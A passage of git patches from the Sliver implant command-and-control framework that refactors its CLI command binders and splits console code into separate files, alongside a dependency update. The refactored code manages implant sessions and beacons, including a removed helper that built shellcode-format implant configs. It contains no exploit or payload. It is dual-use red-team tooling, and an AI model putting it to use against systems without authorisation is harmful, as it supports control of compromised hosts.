0xbe, 0x36}, + {0x03, 0xef, 0xbd, 0x14}, + {0x03, 0xef, 0xbe, 0x2e}, + {0x03, 0xef, 0xbd, 0x1e}, + {0x03, 0xef, 0xbe, 0x10}, + {0x03, 0xef, 0xbf, 0x13}, + {0x03, 0xef, 0xbf, 0x15}, + {0x03, 0xef, 0xbf, 0x17}, + {0x03, 0xef, 0xbf, 0x1f}, + {0x03, 0xef, 0xbf, 0x1d}, + {0x03, 0xef, 0xbf, 0x1b}, + {0x03, 0xef, 0xbf, 0x09}, + {0x03, 0xef, 0xbf, 0x0b}, + {0x03, 0xef, 0xbf, 0x37}, + {0x03, 0xef, 0xbe, 0x04}, + {0x01, 0xe0, 0x00, 0x00}, + {0x03, 0xe2, 0xa6, 0x1a}, + {0x03, 0xe2, 0xa6, 0x26}, + {0x03, 0xe3, 0x80, 0x23}, + {0x03, 0xe3, 0x80, 0x2e}, + {0x03, 0xe3, 0x80, 0x25}, + {0x03, 0xe3, 0x83, 0x1e}, + {0x03, 0xe3, 0x83, 0x14}, + {0x03, 0xe3, 0x82, 0x06}, + {0x03, 0xe3, 0x82, 0x0b}, + {0x03, 0xe3, 0x82, 0x0c}, + {0x03, 0xe3, 0x82, 0x0d}, + {0x03, 0xe3, 0x82, 0x02}, + {0x03, 0xe3, 0x83, 0x0f}, + {0x03, 0xe3, 0x83, 0x08}, + {0x03, 0xe3, 0x83, 0x09}, + {0x03, 0xe3, 0x83, 0x2c}, + {0x03, 0xe3, 0x83, 0x0c}, + {0x03, 0xe3, 0x82, 0x13}, + {0x03, 0xe3, 0x82, 0x16}, + {0x03, 0xe3, 0x82, 0x15}, + {0x03, 0xe3, 0x82, 0x1c}, + {0x03, 0xe3, 0x82, 0x1f}, + {0x03, 0xe3, 0x82, 0x1d}, + {0x03, 0xe3, 0x82, 0x1a}, + {0x03, 0xe3, 0x82, 0x17}, + {0x03, 0xe3, 0x82, 0x08}, + {0x03, 0xe3, 0x82, 0x09}, + {0x03, 0xe3, 0x82, 0x0e}, + {0x03, 0xe3, 0x82, 0x04}, + {0x03, 0xe3, 0x82, 0x05}, + {0x03, 0xe3, 0x82, 0x3f}, + {0x03, 0xe3, 0x83, 0x00}, + {0x03, 0xe3, 0x83, 0x06}, + {0x03, 0xe3, 0x83, 0x05}, + {0x03, 0xe3, 0x83, 0x0d}, + {0x03, 0xe3, 0x83, 0x0b}, + {0x03, 0xe3, 0x83, 0x07}, + {0x03, 0xe3, 0x83, 0x19}, + {0x03, 0xe3, 0x83, 0x15}, + {0x03, 0xe3, 0x83, 0x11}, + {0x03, 0xe3, 0x83, 0x31}, + {0x03, 0xe3, 0x83, 0x33}, + {0x03, 0xe3, 0x83, 0x30}, + {0x03, 0xe3, 0x83, 0x3e}, + {0x03, 0xe3, 0x83, 0x32}, + {0x03, 0xe3, 0x83, 0x36}, + {0x03, 0xe3, 0x83, 0x2e}, + {0x03, 0xe3, 0x82, 0x07}, + {0x03, 0xe3, 0x85, 0x04}, + {0x03, 0xe3, 0x84, 0x10}, + {0x03, 0xe3, 0x85, 0x30}, + {0x03, 0xe3, 0x85, 0x0d}, + {0x03, 0xe3, 0x85, 0x13}, + {0x03, 0xe3, 0x85, 0x15}, + {0x03, 0xe3, 0x85, 0x17}, + {0x03, 0xe3, 0x85, 0x1f}, + {0x03, 0xe3, 0x85, 0x1d}, + {0x03, 0xe3, 0x85, 0x1b}, + {0x03, 0xe3, 0x85, 0x09}, + {0x03, 0xe3, 0x85, 0x0f}, + {0x03, 0xe3, 0x85, 0x0b}, + {0x03, 0xe3, 0x85, 0x37}, + {0x03, 0xe3, 0x85, 0x3b}, + {0x03, 0xe3, 0x85, 0x39}, + {0x03, 0xe3, 0x85, 0x3f}, + {0x02, 0xc2, 0x02, 0x00}, + {0x02, 0xc2, 0x0e, 0x00}, + {0x02, 0xc2, 0x0c, 0x00}, + {0x02, 0xc2, 0x00, 0x00}, + {0x03, 0xe2, 0x82, 0x0f}, + {0x03, 0xe2, 0x94, 0x2a}, + {0x03, 0xe2, 0x86, 0x39}, + {0x03, 0xe2, 0x86, 0x3b}, + {0x03, 0xe2, 0x86, 0x3f}, + {0x03, 0xe2, 0x96, 0x0d}, + {0x03, 0xe2, 0x97, 0x25}, +} + +// Total table size 15512 bytes (15KiB) diff --git a/vendor/modules.txt b/vendor/modules.txt index 968b6a048b..a986284128 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -489,13 +489,16 @@ github.com/moloch--/asciicast # github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 ## explicit; go 1.17 github.com/moloch--/memmod -# github.com/ncruces/go-sqlite3 v0.8.1 -## explicit; go 1.19 +# github.com/ncruces/go-sqlite3 v0.8.4 +## explicit; go 1.21 github.com/ncruces/go-sqlite3 github.com/ncruces/go-sqlite3/driver github.com/ncruces/go-sqlite3/embed github.com/ncruces/go-sqlite3/internal/util github.com/ncruces/go-sqlite3/vfs +# github.com/ncruces/go-sqlite3/gormlite v0.8.4 +## explicit; go 1.21 +github.com/ncruces/go-sqlite3/gormlite # github.com/ncruces/julianday v0.1.5 ## explicit; go 1.17 github.com/ncruces/julianday @@ -534,8 +537,8 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui -# github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 => /home/user/code/github.com/reeflective/team -## explicit; go 1.20 +# github.com/reeflective/team v0.1.0 +## explicit; go 1.21 github.com/reeflective/team github.com/reeflective/team/client github.com/reeflective/team/client/commands @@ -640,16 +643,18 @@ github.com/tailscale/wireguard-go/tun # github.com/tcnksm/go-httpstat v0.2.0 ## explicit github.com/tcnksm/go-httpstat -# github.com/tetratelabs/wazero v1.2.1 -## explicit; go 1.18 +# github.com/tetratelabs/wazero v1.4.0 +## explicit; go 1.19 github.com/tetratelabs/wazero github.com/tetratelabs/wazero/api github.com/tetratelabs/wazero/experimental +github.com/tetratelabs/wazero/experimental/sys github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1 github.com/tetratelabs/wazero/internal/asm github.com/tetratelabs/wazero/internal/asm/amd64 github.com/tetratelabs/wazero/internal/asm/arm64 github.com/tetratelabs/wazero/internal/bitpack +github.com/tetratelabs/wazero/internal/close github.com/tetratelabs/wazero/internal/descriptor github.com/tetratelabs/wazero/internal/engine/compiler github.com/tetratelabs/wazero/internal/engine/interpreter @@ -772,7 +777,7 @@ golang.org/x/net/trace # golang.org/x/sync v0.3.0 ## explicit; go 1.17 golang.org/x/sync/errgroup -# golang.org/x/sys v0.9.0 +# golang.org/x/sys v0.11.0 ## explicit; go 1.17 golang.org/x/sys/cpu golang.org/x/sys/execabs @@ -786,7 +791,7 @@ golang.org/x/sys/windows/svc/mgr # golang.org/x/term v0.9.0 ## explicit; go 1.17 golang.org/x/term -# golang.org/x/text v0.10.0 +# golang.org/x/text v0.12.0 ## explicit; go 1.17 golang.org/x/text/cases golang.org/x/text/encoding @@ -1265,4 +1270,3 @@ tailscale.com/wgengine/wgcfg/nmcfg tailscale.com/wgengine/wgint tailscale.com/wgengine/wglog tailscale.com/wgengine/winnet -# github.com/reeflective/team => /home/user/code/github.com/reeflective/team From 3d2a3375c55b205300be1af51aaf7ae19258b41b Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 02:22:34 +0200 Subject: [PATCH 091/124] Rename/cleanup command utility binders/generators --- client/cli/cli.go | 7 ++-- client/cli/implant.go | 13 ++++--- client/command/command.go | 48 +++++++---------------- client/command/server.go | 82 +++++++++++++++++++++++++++------------ client/command/sliver.go | 5 ++- server/cli/cli.go | 4 +- 6 files changed, 86 insertions(+), 73 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index bb9905186a..15e5517fe8 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -21,10 +21,11 @@ package cli import ( "os" - "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" + "github.com/reeflective/team/client/commands" + "github.com/bishopfox/sliver/client/command" sliverConsole "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" @@ -88,8 +89,8 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { root.AddCommand(implantCmd(con, sliver)) // Pre/post runners and completions. - command.BindPrePost(root, true, con.ConnectRun) - command.BindPrePost(root, false, func(_ *cobra.Command, _ []string) error { + command.BindPreRun(root, con.ConnectRun) + command.BindPostRun(root, func(_ *cobra.Command, _ []string) error { return con.Disconnect() }) diff --git a/client/cli/implant.go b/client/cli/implant.go index c98e32a6b9..c15108cb3e 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -4,15 +4,16 @@ import ( "errors" "os" - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/command/use" - client "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/constants" - "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" "golang.org/x/exp/slices" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/use" + client "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" ) func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { @@ -50,7 +51,7 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co }) // This completer will try connect to the server anyway, if not done already. - command.BindFlagCompletions(implantCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(implantCmd, func(comp *carapace.ActionMap) { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { return use.BeaconAndSessionIDCompleter(con) }) diff --git a/client/command/command.go b/client/command/command.go index 0559e8433b..62d60bc231 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,40 +21,25 @@ package command import ( "strings" - "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" + + "github.com/reeflective/console" client "github.com/bishopfox/sliver/client/console" ) -const defaultTimeout = 60 - -// bindFlags is a convenience function to bind flags to a given command. -// name - The name of the flag set (can be empty). -// cmd - The command to which the flags should be bound. -// flags - A function exposing the flag set through which flags are declared. -func bindFlags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { - flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. - flags(flagSet) // Let the user bind any number of flags to it. +// ***** Exported Command API Types ****** - if persistent { - cmd.PersistentFlags().AddFlagSet(flagSet) - } else { - cmd.Flags().AddFlagSet(flagSet) - } -} +// SliverBinder is the signature of command yielder functions passed and used by +// the Sliver client. Currently this function type is only used as an alias for +// loading command sets easily, and is not part of any interface. +type SliverBinder func(con *client.SliverClient) []*cobra.Command -// BindFlagCompletions is a convenience function for adding completions to a command's flags. -// cmd - The command owning the flags to complete. -// bind - A function exposing a map["flag-name"]carapace.Action. -func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { - comps := make(carapace.ActionMap) - bind(&comps) +// CobraRunnerE is a simple type alias to denote cobra Runners with errors. +// The type is mostly use to register additional pre/post runners for commands. +type CobraRunnerE func(_ *cobra.Command, _ []string) error - carapace.Gen(cmd).FlagCompletion(comps) -} +// ***** Other Commands Binding Utilties ****** // RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key // to a comma-separated list of filters to use in order to expose/hide commands based on requirements. @@ -78,9 +63,9 @@ func RestrictTargets(filters ...string) map[string]string { } } -// MakeBind returns a commandBinder helper function. +// makeBind returns a commandBinder helper function. // @menu - The command menu to which the commands should be bound (either server or implant menu). -func MakeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { +func makeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { found := false @@ -117,7 +102,6 @@ func MakeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { } // commandBinder is a helper used to bind commands to a given menu, for a given "command help group". -// // @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. // @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) @@ -135,12 +119,6 @@ type commandBinder func(group string, cmds ...func(con *client.SliverClient) []* // [ Aliases ] // [ Extensions ] -// Commands not to bind in CLI: -// - portforwarders -// - Socks (and wg-socks ?) -// - shell ? - // Take care of: // - double bind help command // - double bind session commands -// - don't bind readline command in CLI. diff --git a/client/command/server.go b/client/command/server.go index a31149cce7..fa13b43858 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,9 +19,10 @@ package command */ import ( - "github.com/reeflective/console" "github.com/spf13/cobra" + "github.com/reeflective/console" + "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" @@ -50,10 +51,7 @@ import ( consts "github.com/bishopfox/sliver/client/constants" ) -// SliverBinder is the signature of command yielder functions passed and used by -// the Sliver client. Currently this function type is only used as an alias for -// loading command sets easily, and is not part of any interface. -type SliverBinder func(con *client.SliverClient) []*cobra.Command +// ***** Command Generators and Runner Binders ****** // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. @@ -72,7 +70,7 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C // the sliver menu: call the function with the name of the // group under which this/these commands should be added, // and the group will be automatically created if needed. - bind := MakeBind(server, con) + bind := makeBind(server, con) if serverCmds != nil { bind(consts.GenericHelpGroup, @@ -145,29 +143,22 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C return serverCommands } -// BindPrePost is used to register specific pre/post-runs for a given command/tree. -// -// This function is special in that it will only bind the pre/post-runners to commands -// in the tree if they have a non-nil Run/RunE function, or if they are leaf commands. -// -// This allows us to optimize client-to-server connections for things like completions. -func BindPrePost(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ []string) error) { +// BindPreRun registers specific pre-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPreRun(root *cobra.Command, runs ...CobraRunnerE) { for _, cmd := range root.Commands() { ePreE := cmd.PersistentPreRunE - ePostE := cmd.PersistentPostRunE run, runE := cmd.Run, cmd.RunE // Don't modify commands in charge on their own tree. - if pre && ePreE != nil { - continue - } else if ePostE != nil { + if ePreE != nil { continue } // Always go to find the leaf commands, irrespective // of what we do with this parent command. if cmd.HasSubCommands() { - BindPrePost(cmd, pre, runs...) + BindPreRun(cmd, runs...) } // If the command has no runners, there's nothing to bind: @@ -178,9 +169,7 @@ func BindPrePost(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ } // Else we have runners, bind the pre-runs if possible. - if pre && cmd.PreRunE != nil { - continue - } else if cmd.PostRunE != nil { + if cmd.PreRunE != nil { continue } @@ -197,10 +186,53 @@ func BindPrePost(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ } // Bind - if pre { - cmd.PreRunE = cRun - } else { - cmd.PostRunE = cRun + cmd.PreRunE = cRun + } +} + +// BindPostRun registers specific post-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPostRun(root *cobra.Command, runs ...CobraRunnerE) { + for _, cmd := range root.Commands() { + ePostE := cmd.PersistentPostRunE + run, runE := cmd.Run, cmd.RunE + + // Don't modify commands in charge on their own tree. + if ePostE != nil { + continue } + + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindPostRun(cmd, runs...) + } + + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue + } + + // Else we have runners, bind the pre-runs if possible. + if cmd.PostRunE != nil { + continue + } + + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } + } + + return nil + } + + // Bind + cmd.PostRunE = cRun } } diff --git a/client/command/sliver.go b/client/command/sliver.go index 973947f5fe..88238c0d00 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,9 +19,10 @@ package command */ import ( - "github.com/reeflective/console" "github.com/spf13/cobra" + "github.com/reeflective/console" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" @@ -70,7 +71,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { // the sliver menu: call the function with the name of the // group under which this/these commands should be added, // and the group will be automatically created if needed. - bind := MakeBind(sliver, con) + bind := makeBind(sliver, con) // [ Core ] bind(consts.SliverCoreHelpGroup, diff --git a/server/cli/cli.go b/server/cli/cli.go index 48f9ad540c..4fc2bb6333 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -114,8 +114,8 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra root.AddCommand(consoleCmd.Command(con, server)) // Pre/post runners and completions. - clientCommand.BindPrePost(root, true, con.ConnectRun) - clientCommand.BindPrePost(root, false, func(_ *cobra.Command, _ []string) error { + clientCommand.BindPreRun(root, con.ConnectRun) + clientCommand.BindPostRun(root, func(_ *cobra.Command, _ []string) error { return con.Disconnect() }) From fad8d23c102203b8579bfbae127a90002585d132 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 02:37:48 +0200 Subject: [PATCH 092/124] Split/restructure console code into files, check comments everywhere --- client/cli/implant.go | 5 +- client/console/command.go | 215 ++++++++++++++++++++++++++++++++++++++ client/console/console.go | 177 +------------------------------ client/console/implant.go | 168 ++++++++++++++--------------- 4 files changed, 298 insertions(+), 267 deletions(-) create mode 100644 client/console/command.go diff --git a/client/cli/implant.go b/client/cli/implant.go index c15108cb3e..6ebb1cbeb7 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/pflag" "golang.org/x/exp/slices" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/use" client "github.com/bishopfox/sliver/client/console" @@ -60,7 +61,7 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co return implantCmd } -func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { +func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { return func(cmd *cobra.Command, args []string) error { if err := con.ConnectRun(cmd, args); err != nil { return err @@ -99,7 +100,7 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd } } -func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { +func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { return func(cmd *cobra.Command, args []string) error { var saveArgs []string diff --git a/client/console/command.go b/client/console/command.go new file mode 100644 index 0000000000..ae34a06112 --- /dev/null +++ b/client/console/command.go @@ -0,0 +1,215 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os" + "os/signal" + "strings" + "syscall" + + "github.com/spf13/cobra" + + "github.com/reeflective/console" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/spin" +) + +// FilterCommands shows/hides commands if the active target does support them (or not). +// Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. +// Both the cmd *cobra.Command passed and the filters can be nil, in which case the +// filters are recomputed by the console application for the current context. +func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { + con.App.ShowCommands() + + if con.isCLI { + filters = append(filters, consts.ConsoleCmdsFilter) + } + + sess, beac := con.ActiveTarget.Get() + if sess != nil || beac != nil { + filters = append(filters, con.ActiveTarget.Filters()...) + } + + con.App.HideCommands(filters...) + + if cmd != nil { + for _, cmd := range cmd.Commands() { + if cmd.Hidden { + continue + } + + if isFiltered(cmd, filters) { + cmd.Hidden = true + } + } + } +} + +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + +// Filters returns list of constants describing which types of commands +// should NOT be available for the current target, eg. beacon commands if +// the target is a session, Windows commands if the target host is Linux. +func (s *ActiveTarget) Filters() []string { + if s.session == nil && s.beacon == nil { + return nil + } + + filters := make([]string, 0) + + // Target type. + switch { + case s.session != nil: + session := s.session + + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) + + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + + case s.beacon != nil: + beacon := s.beacon + + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) + + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + } + + return filters +} + +func isFiltered(cmd *cobra.Command, targetFilters []string) bool { + if cmd.Annotations == nil { + return false + } + + // Get the filters on the command + filterStr := cmd.Annotations[console.CommandFilterKey] + filters := strings.Split(filterStr, ",") + + for _, cmdFilter := range filters { + for _, filter := range targetFilters { + if cmdFilter != "" && cmdFilter == filter { + return true + } + } + } + + return false +} + +// SpinUntil starts a console display spinner in the background (non-blocking) +func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { + go spin.Until(os.Stdout, message, ctrl) +} + +// WaitSignal listens for os.Signals and returns when receiving one of the following: +// SIGINT, SIGTERM, SIGQUIT. +// +// This can be used for commands which should block if executed in an exec-once CLI run: +// if the command is ran in the closed-loop console, this function will not monitor signals +// and return immediately. +func (con *SliverClient) WaitSignal() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + sig := <-sigchan + con.PrintInfof("Received signal %s\n", sig) + + return nil +} + +func (con *SliverClient) waitSignalOrClose() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + if con.waitingResult == nil { + con.waitingResult = make(chan bool) + } + + select { + case sig := <-sigchan: + con.PrintInfof("Received signal %s\n", sig) + case <-con.waitingResult: + con.waitingResult = make(chan bool) + return nil + } + + return nil +} diff --git a/client/console/console.go b/client/console/console.go index 2ddb4be033..3c0d922d40 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -25,12 +25,9 @@ import ( "io" "log" "os" - "os/signal" "path/filepath" "strconv" - "strings" "sync" - "syscall" "time" "github.com/spf13/cobra" @@ -40,11 +37,9 @@ import ( "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/reeflective/console" "github.com/reeflective/readline" @@ -159,7 +154,7 @@ func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { clientOpts = append(clientOpts, client.WithHomeDirectory(assets.GetRootAppDir()), client.WithDialer(con.dialer), - client.WithLogger(initTeamclientLog()), + client.WithLogger(initTeamclientLog()), ) // Create a new reeflective/team.Client, which is in charge of selecting, @@ -237,173 +232,6 @@ func (con *SliverClient) StartConsole() error { return con.App.Start() } -// FilterCommands shows/hides commands if the active target does support them (or not). -// Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -// Both the cmd *cobra.Command passed and the filters can be nil, in which case the -// filters are recomputed by the console application for the current context. -func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { - con.App.ShowCommands() - - if con.isCLI { - filters = append(filters, consts.ConsoleCmdsFilter) - } - - sess, beac := con.ActiveTarget.Get() - if sess != nil || beac != nil { - filters = append(filters, con.ActiveTarget.Filters()...) - } - - con.App.HideCommands(filters...) - - if cmd != nil { - for _, cmd := range cmd.Commands() { - if cmd.Hidden { - continue - } - - if isFiltered(cmd, filters) { - cmd.Hidden = true - } - } - } -} - -// GetSession returns the session matching an ID, either by prefix or strictly. -func (con *SliverClient) GetSession(arg string) *clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintWarnf("%s", err) - return nil - } - for _, session := range sessions.GetSessions() { - if session.Name == arg || strings.HasPrefix(session.ID, arg) { - return session - } - } - return nil -} - -// GetBeacon returns the beacon matching an ID, either by prefix or strictly. -func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintWarnf("%s", err) - return nil - } - for _, session := range beacons.GetBeacons() { - if session.Name == arg || strings.HasPrefix(session.ID, arg) { - return session - } - } - return nil -} - -// GetSessionsByName - Return all sessions for an Implant by name. -func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil - } - matched := []*clientpb.Session{} - for _, session := range sessions.GetSessions() { - if session.Name == name { - matched = append(matched, session) - } - } - return matched -} - -// GetActiveSessionConfig - Get the active sessions's config -// TODO: Switch to query config based on ConfigID. -func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { - session := con.ActiveTarget.GetSession() - if session == nil { - return nil - } - c2s := []*clientpb.ImplantC2{} - c2s = append(c2s, &clientpb.ImplantC2{ - URL: session.GetActiveC2(), - Priority: uint32(0), - }) - config := &clientpb.ImplantConfig{ - Name: session.GetName(), - GOOS: session.GetOS(), - GOARCH: session.GetArch(), - Debug: true, - Evasion: session.GetEvasion(), - - MaxConnectionErrors: uint32(1000), - ReconnectInterval: int64(60), - Format: clientpb.OutputFormat_SHELLCODE, - IsSharedLib: true, - C2: c2s, - } - return config -} - -// SpinUntil starts a console display spinner in the background (non-blocking) -func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { - go spin.Until(os.Stdout, message, ctrl) -} - -// WaitSignal listens for os.Signals and returns when receiving one of the following: -// SIGINT, SIGTERM, SIGQUIT. -// -// This can be used for commands which should block if executed in an exec-once CLI run: -// if the command is ran in the closed-loop console, this function will not monitor signals -// and return immediately. -func (con *SliverClient) WaitSignal() error { - if !con.isCLI { - return nil - } - - sigchan := make(chan os.Signal, 1) - - signal.Notify( - sigchan, - syscall.SIGINT, - syscall.SIGTERM, - syscall.SIGQUIT, - // syscall.SIGKILL, - ) - - sig := <-sigchan - con.PrintInfof("Received signal %s\n", sig) - - return nil -} - -func (con *SliverClient) waitSignalOrClose() error { - if !con.isCLI { - return nil - } - - sigchan := make(chan os.Signal, 1) - - signal.Notify( - sigchan, - syscall.SIGINT, - syscall.SIGTERM, - syscall.SIGQUIT, - // syscall.SIGKILL, - ) - - if con.waitingResult == nil { - con.waitingResult = make(chan bool) - } - - select { - case sig := <-sigchan: - con.PrintInfof("Received signal %s\n", sig) - case <-con.waitingResult: - con.waitingResult = make(chan bool) - return nil - } - - return nil -} - // FormatDateDelta - Generate formatted date string of the time delta between then and now. func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) @@ -432,7 +260,7 @@ func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bo return interval } -// GrpcContext - Generate a context for a GRPC request, if no grumble context or an invalid flag is provided 60 seconds is used instead. +// GrpcContext - Generate a context for a GRPC request, if no cobra context or an invalid flag is provided 60 seconds is used instead. func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { if cmd == nil { return context.WithTimeout(context.Background(), 60*time.Second) @@ -452,6 +280,7 @@ func (con *SliverClient) UnwrapServerErr(err error) error { return errors.New(status.Convert(err).Message()) } +// CheckLastUpdate prints a message to the CLI if updates are available. func (con *SliverClient) CheckLastUpdate() { now := time.Now() lastUpdate := getLastUpdateCheck() diff --git a/client/console/implant.go b/client/console/implant.go index 7dc4c6c0a1..64e70f48b0 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -19,15 +19,16 @@ package console */ import ( + "context" "fmt" "strings" "time" + "github.com/spf13/cobra" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/reeflective/console" - "github.com/spf13/cobra" ) type ActiveTarget struct { @@ -48,6 +49,80 @@ func newActiveTarget() *ActiveTarget { return at } +// GetSession returns the session matching an ID, either by prefix or strictly. +func (con *SliverClient) GetSession(arg string) *clientpb.Session { + 